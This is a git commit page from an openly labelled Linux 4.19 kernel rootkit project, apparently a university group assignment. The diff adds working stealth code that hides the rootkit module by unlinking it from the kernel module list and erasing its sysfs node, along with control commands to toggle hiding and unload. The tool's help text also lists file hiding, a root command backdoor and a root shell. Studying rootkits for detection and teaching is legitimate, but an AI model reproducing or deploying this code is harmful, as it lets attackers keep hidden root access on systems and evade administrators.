linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 2cf933f2f4d97285198b35564c9dd2ef07b86a90
parent 2e966a605bfd6a0a127c05ebc568652be10c8a34
Author: deurzen <m.deurzen@tum.de>
Date:   Sat,  5 Dec 2020 17:59:37 +0100

initial test

Diffstat:
Msrc/channel.c | 41+++++++++++++++++++++++++++++++++++++++++
Msrc/channel.h | 1+
Msrc/hook.c | 4++++
Msrc/ioctl.h | 1+
Asrc/modhide.c | 87+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/modhide.h | 9+++++++++
Msrc/rkctl/rkctl.c | 21+++++++++++++++++++++
Msrc/rkctl/rkctl.h | 1+
Msrc/rootkit.h | 1+
9 files changed, 166 insertions(+), 0 deletions(-)

diff --git a/src/channel.c b/src/channel.c @@ -2,9 +2,11 @@ #include <linux/module.h> #include <linux/uaccess.h> #include <linux/ioctl.h> +#include <linux/proc_fs.h> #include "channel.h" #include "common.h" +#include "modhide.h" #include "filehide.h" #include "backdoor.h" #include "hidepid.h" @@ -21,6 +23,7 @@ report_channels(void) DEBUG_NOTICE("-----------------------------------\n"); DEBUG_NOTICE("listening on the following channels\n"); DEBUG_NOTICE("%-24s %#10lx\n", "PING", G7_PING); + DEBUG_NOTICE("%-24s %#10lx\n", "MODHIDE", G7_MODHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "FILEHIDE", G7_FILEHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "BACKDOOR", G7_BACKDOOR); DEBUG_NOTICE("%-24s %#10lx\n", "TOGGLEBD", G7_TOGGLEBD); @@ -33,6 +36,7 @@ detect_channel(unsigned cmd) { switch (cmd) { case G7_PING: return (channel_t){ "PING", handle_ping }; + case G7_MODHIDE: return (channel_t){ "MODHIDE", handle_modhide }; case G7_FILEHIDE: return (channel_t){ "FILEHIDE", handle_filehide }; case G7_BACKDOOR: return (channel_t){ "BACKDOOR", handle_backdoor }; case G7_TOGGLEBD: return (channel_t){ "TOGGLEBD", handle_togglebd }; @@ -60,6 +64,43 @@ handle_ping(unsigned long arg) } int +handle_modhide(unsigned long arg) +{ + long sarg = (long)arg; + + if (!sarg) { + char buf[BUFLEN]; + sprintf(buf, "/sbin/rmmod %s", G7_DEVICE); + + char *argv[] = { + "/bin/sh", + "-c", + buf, + NULL + }; + + static char *envp[] = { + "HOME=/", + "TERM=linux", + "PATH=/sbin:/bin:/usr/sbin:/usr/bin", + NULL + }; + + DEBUG_NOTICE("unloading module\n"); + + call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); + } else if (sarg < 0) { + unhide_module(); + DEBUG_NOTICE("unhiding pid %ld\n", -sarg); + } else if (sarg > 0) { + hide_module(); + DEBUG_NOTICE("modhide on\n"); + } + + return 0; +} + +int handle_filehide(unsigned long arg) { long sarg = (long)arg; diff --git a/src/channel.h b/src/channel.h @@ -11,6 +11,7 @@ channel_t detect_channel(unsigned); // handlers int handle_ping(unsigned long); +int handle_modhide(unsigned long); int handle_filehide(unsigned long); int handle_backdoor(unsigned long); int handle_togglebd(unsigned long); diff --git a/src/hook.c b/src/hook.c @@ -9,6 +9,7 @@ #include "common.h" #include "hook.h" #include "rootkit.h" +#include "modhide.h" #include "filehide.h" #include "backdoor.h" #include "hidepid.h" @@ -73,6 +74,9 @@ init_hooks(void) void remove_hooks(void) { + if (rootkit.hiding_module) + unhide_module(); + if (rootkit.hiding_files) unhide_files(); diff --git a/src/ioctl.h b/src/ioctl.h @@ -9,5 +9,6 @@ #define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x2, char *) #define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x3, char *) #define G7_HIDEPID _IOR(G7_MAGIC_NUMBER, 0x4, char *) +#define G7_MODHIDE _IOR(G7_MAGIC_NUMBER, 0x5, char *) #endif//_GROUP7_IOCTL_H diff --git a/src/modhide.c b/src/modhide.c @@ -0,0 +1,87 @@ +#include <linux/kernfs.h> +#include <linux/module.h> +#include <linux/rbtree.h> +#include <linux/list.h> +#include <linux/hash.h> + +#include "common.h" +#include "modhide.h" + +static struct list_head *mod_prev; + +void +hide_module(void) +{ + struct kernfs_node *node; + + node = THIS_MODULE->mkobj.kobj.sd; + + mod_prev = THIS_MODULE->list.prev; + + list_del(&THIS_MODULE->list); + + rb_erase(&node->rb, &node->parent->dir.children); + node->rb.__rb_parent_color = (unsigned long)(&node->rb); +} + +void +unhide_module(void) +{ + list_add(&THIS_MODULE->list, mod_prev); + rb_add(THIS_MODULE->mkobj.kobj.sd); +} + +void +rb_add(struct kernfs_node *node) +{ + struct rb_node **child = &node->parent->dir.children.rb_node; + struct rb_node *parent = NULL; + + while(*child) { + struct kernfs_node *pos; + int result; + + /* cast rb_node to kernfs_node */ + pos = rb_entry(*child, struct kernfs_node, rb); + + /* + * traverse the rbtree from root to leaf (until correct place found) + * next level down, child from previous level is now the parent + */ + parent = *child; + + /* using result to determine where to put the node */ + result = nodecmp(pos, node->hash, node->name, node->ns); + + if(result < 0) + child = &pos->rb.rb_left; + else if(result > 0) + child = &pos->rb.rb_right; + else + return; + } + + /* add new node and reblance the tree */ + rb_link_node(&node->rb,parent, child); + rb_insert_color(&node->rb, &node->parent->dir.children); + + /* needed for special cases */ + if (kernfs_type(node) == KERNFS_DIR) + node->parent->dir.subdirs++; +} + + +int +nodecmp(struct kernfs_node *kn, const unsigned int hash, const char *name, const void *ns) +{ + /* compare hash value */ + if(hash != kn->hash) + return hash - kn->hash; + + /* compare ns */ + if(ns != kn->ns) + return ns - kn->ns; + + /* compare name */ + return strcmp(name, kn->name); +} diff --git a/src/modhide.h b/src/modhide.h @@ -0,0 +1,9 @@ +#ifndef _GROUP7_MODHIDE_H +#define _GROUP7_MODHIDE_H + +void hide_module(void); +void unhide_module(void); +void rb_add(struct kernfs_node *); +int nodecmp(struct kernfs_node *, const unsigned int, const char *, const void *); + +#endif//_GROUP7_MODHIDE_H diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c @@ -34,6 +34,19 @@ parse_input(int argc, char **argv) if (ARGVCMP(1, "ping")) return (cmd_t){ handle_ping, NULL }; + if (ARGVCMP(1, "unload")) + return (cmd_t){ handle_modhide, (void *)0 }; + + if (ARGVCMP(1, "modhide")) { + ASSERT_ARGC(2, "modhide <on | off>"); + + if (ARGVCMP(2, "on")) + return (cmd_t){ handle_modhide, (void *)1 }; + + if (ARGVCMP(2, "off")) + return (cmd_t){ handle_modhide, (void *)-1 }; + } + if (ARGVCMP(1, "filehide")) { ASSERT_ARGC(2, "filehide <toggle | on | off>"); @@ -98,6 +111,12 @@ handle_ping(void *arg) } int +handle_modhide(void *arg) +{ + return issue_ioctl(G7_MODHIDE, (const char *)arg); +} + +int handle_filehide(void *arg) { return issue_ioctl(G7_FILEHIDE, (const char *)arg); @@ -164,6 +183,8 @@ help() printf("These are the available commands:\n"); printf("%-32s %s\n", "help", "this message"); printf("%-32s %s\n", "ping", "send an echo request to the rootkit"); + printf("%-32s %s\n", "unload", "gracefully unload the rootkit module"); + printf("%-32s %s\n", "modhide <on | off>", "{,un}hide rootkit module"); printf("%-32s %s\n", "filehide <toggle | on | off>", "{,un}hide files"); printf("%-32s %s\n", "backdoor <execve_command>", "exec a command as root"); printf("%-32s %s\n", "shell", "obtain a shell as root"); diff --git a/src/rkctl/rkctl.h b/src/rkctl/rkctl.h @@ -21,6 +21,7 @@ int issue_ioctl(unsigned long, const char *); void help(); int handle_ping(void *); +int handle_modhide(void *); int handle_filehide(void *); int handle_backdoor(void *); int handle_shellbd(void *); diff --git a/src/rootkit.h b/src/rootkit.h @@ -11,6 +11,7 @@ typedef enum { typedef struct { sc_hook_t hooks[16]; + bool hiding_module; bool hiding_files; bool hiding_pids; bd_state_t backdoor;